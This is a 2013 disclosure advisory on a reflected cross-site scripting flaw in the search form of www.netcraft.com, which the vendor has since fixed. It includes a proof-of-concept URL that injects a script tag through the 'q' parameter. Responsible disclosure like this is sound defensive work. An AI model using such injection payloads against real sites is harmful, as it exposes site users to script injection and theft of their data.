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SSCHADV2013-008 - www.netcraft.com - Search Form Cross-site Scripting vulnerability

Advisory:
www.netcraft.com – Search Form Cross-site Scripting vulnerability
Advisory ID:
SSCHADV2013-008
Author:
Stefan Schurtz
Affected Software:
Successfully tested on www.netcraft.com
Vendor URL:
Vendor Status:
fixed
 
======================
Vulnerability Description
======================
 
The ‘q’-Parameter in the Search Form on www.netcraft.com is prone to a XSS vulnerability
 
======================
PoC-Exploit
======================

// IE8 & IE 10 & Aurora 8.0

http://www.netcraft.com/search/?q=127.0.0.1"></iframe><script>alert(document.domain)</script>&submit=Search&submit=Search

======================
Solution
======================

fixed

======================
Disclosure Timeline
======================

12-May-2013 – vendor informed by email
13-May-2013 – feedback from vendor

======================
Credits
======================

Vulnerability found and advisory written by Stefan Schurtz.

======================
References
======================

http://www.netcraft.com
http://www.darksecurity.de/advisories/2013/SSCHADV2013-008.txt

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